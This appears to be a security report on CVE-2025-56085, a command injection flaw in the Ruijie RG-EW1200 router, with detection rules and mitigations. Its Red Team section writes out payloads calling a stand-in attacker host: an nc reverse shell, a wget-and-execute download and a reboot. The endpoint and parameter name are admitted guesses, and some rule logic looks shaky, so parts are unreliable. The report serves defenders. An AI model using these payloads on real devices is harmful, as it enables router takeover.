CVE-2025-56085

Executive Summary

CVE-2025-56085 is a critical OS Command Injection vulnerability discovered in the Ruijie RG-EW1200 wireless router, specifically in firmware version EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00. The flaw resides in the /usr/local/lua/dev_config/config_retain.lua file, where the module_set function fails to properly sanitize user-supplied input from a crafted POST request. This allows an unauthenticated attacker to inject arbitrary operating system commands, leading to full device compromise.

The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). With a CVSS v3.1 base score of 9.8 (Critical), it poses a severe threat due to network attack vector, low attack complexity, no privileges required, and no user interaction. Successful exploitation can result in complete loss of confidentiality, integrity, and availability of the affected device.

As of the latest intelligence, no public proof-of-concept (PoC) exploit or patch is available. The vendor (Ruijie) has not released a security advisory or firmware update. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies for defenders.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full device data access.
• Integrity (I): High (H) – Full control over device configuration.
• Availability (A): High (H) – Potential for denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a high-priority vulnerability for any organization using Ruijie RG-EW1200 devices.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection in the Lua-based web management interface of the Ruijie RG-EW1200 router. The file /usr/local/lua/dev_config/config_retain.lua contains a function module_set that processes POST requests to configure device modules. The input parameters are passed directly to a system shell command without proper sanitization or escaping.

Root Cause: The module_set function likely constructs a command string by concatenating user-controlled input (e.g., module_name, action, or other parameters) with fixed command prefixes. For example:

local cmd = "echo " .. module_name .. " > /tmp/config"
os.execute(cmd)

An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary OS commands.

Attack Flow:

1. Attacker identifies a vulnerable Ruijie RG-EW1200 device (e.g., via Shodan).
2. Attacker sends a crafted POST request to the endpoint handling module_set in config_retain.lua.
3. The injected command is executed with root privileges (typical for embedded router firmware).
4. Attacker gains a reverse shell, installs malware, exfiltrates data, or modifies device settings.

Affected Component: The vulnerability is specific to the Lua script /usr/local/lua/dev_config/config_retain.lua. The exact parameter name is not publicly documented, but based on the description, it is likely a parameter like module_name or action.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (config_retain.lua):

function module_set(request)
    local module_name = request.post.module_name
    local cmd = "echo " .. module_name .. " > /tmp/config"
    os.execute(cmd)
end

Patched Code (Hypothetical):

function module_set(request)
    local module_name = request.post.module_name
    -- Sanitize input: allow only alphanumeric and underscore
    if not module_name:match("^[%w_]+$") then
        return "Invalid module name"
    end
    local cmd = "echo " .. module_name .. " > /tmp/config"
    os.execute(cmd)
end

Key Differences:

• Input validation: The patched version uses a whitelist regex to allow only alphanumeric characters and underscores.
• Error handling: Invalid input returns an error message instead of being passed to the shell.
• Alternative: Use io.popen with proper escaping or avoid shell execution entirely by using Lua file I/O.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Ruijie RG-EW1200 with firmware EW_3.0(1)B11P227_EW1200_11130208RG-EW1200 V1.00
• Attacker: Kali Linux or any system with curl/netcat

Exploitation Steps:

1. Identify the vulnerable endpoint: The exact endpoint is not publicly documented. Based on the description, it is likely a POST request to a path like /cgi-bin/luci/;stok=/module_set or similar. Use a web fuzzer (e.g., Burp Suite) to discover the endpoint.

2. Craft the exploit payload: Assuming the vulnerable parameter is module_name, inject a command to spawn a reverse shell:

   curl -X POST http://<target_ip>/cgi-bin/luci/;stok=/module_set \
   -d "module_name=;nc -e /bin/sh <attacker_ip> 4444"
   

3. Start listener on attacker machine:

   nc -lvnp 4444
   

4. Execute the exploit: Run the curl command. If successful, you will receive a reverse shell with root privileges.

Alternative Payloads:

• Download and execute a payload:

  module_name=;wget http://attacker_ip/payload.sh -O /tmp/payload.sh && sh /tmp/payload.sh
  

• Denial of Service:

  module_name=;reboot
  

Blue Team (Defensive)

Detection & Response:

1. Monitor for anomalous POST requests:

   • Look for requests to /cgi-bin/luci/ or similar paths with unusual parameters.
   • Detect shell metacharacters (;, |, &&, `) in POST data.

2. Network-based detection:

   • Use Suricata rules (see Detection Engineering) to alert on command injection patterns.
   • Monitor outbound connections from the router to unknown IPs (reverse shell indicator).

3. Host-based detection:

   • Check for unexpected processes spawned by the web server (e.g., sh, bash, nc).
   • Monitor file system changes in /tmp or /usr/local/lua/.

4. Incident Response:

   • Isolate the affected device from the network.
   • Capture memory and disk for forensic analysis.
   • Reset the device to factory defaults (if no patch available).
   • Consider replacing the device if it remains unpatched.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/luci/ or /usr/local/lua/dev_config/config_retain.lua containing shell metacharacters.
• Outbound connections from the router to unusual IPs on ports 4444, 1337, or other common reverse shell ports.
• DNS queries to domains associated with malware C2 (e.g., malware.example.com).

File System IOCs:

• Unexpected files in /tmp/ (e.g., payload.sh, reverse_shell).
• Modified Lua scripts in /usr/local/lua/dev_config/.
• Presence of /tmp/.systemd or similar persistence mechanisms.

Process IOCs:

• Processes named sh, bash, nc, python, perl spawned by the web server (e.g., lighttpd or uhttpd).
• Unusual child processes of the web server.

Log IOCs:

• System log entries showing command execution errors or unexpected output.
• Web server access logs with POST requests containing ;, |, or &&.

Detection Engineering

YARA Rule

rule CVE_2025_56085_Ruijie_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-56085 in Ruijie RG-EW1200"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56085"
        hash = "unknown"
    strings:
        $s1 = "module_set" ascii wide nocase
        $s2 = "config_retain.lua" ascii wide nocase
        $s3 = /[;&|`$]/  // shell metacharacters
        $s4 = "POST" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-56085 Ruijie RG-EW1200 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56085
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: 
            - '/cgi-bin/luci/'
            - '/usr/local/lua/dev_config/config_retain.lua'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in query strings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56085 Ruijie RG-EW1200 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/luci/"; http_uri;
    content:"module_set"; http_client_body;
    pcre:"/[;&|`$]/Ri";
    reference:cve,2025-56085;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Ruijie RG-EW1200 routers from the internet and internal networks until a patch is available.
2. Disable remote management: If remote management is enabled, disable it immediately.
3. Monitor for exploitation: Deploy the detection rules above to identify any ongoing attacks.

Long-term Remediation:

1. Vendor patch: Await an official firmware update from Ruijie. Check the vendor's security advisory page regularly.
2. Firmware hardening: If no patch is forthcoming, consider replacing the device with a more secure alternative.
3. Network segmentation: Place IoT devices like routers in a separate VLAN with strict firewall rules.
4. Web application firewall (WAF): Deploy a WAF with rules to block command injection patterns (e.g., ModSecurity with OWASP CRS).

Workarounds (if patching is not possible):

• Manually modify the vulnerable Lua script to add input validation (if you have root access to the device).
• Block access to the web management interface from untrusted networks using firewall rules.

Valters IT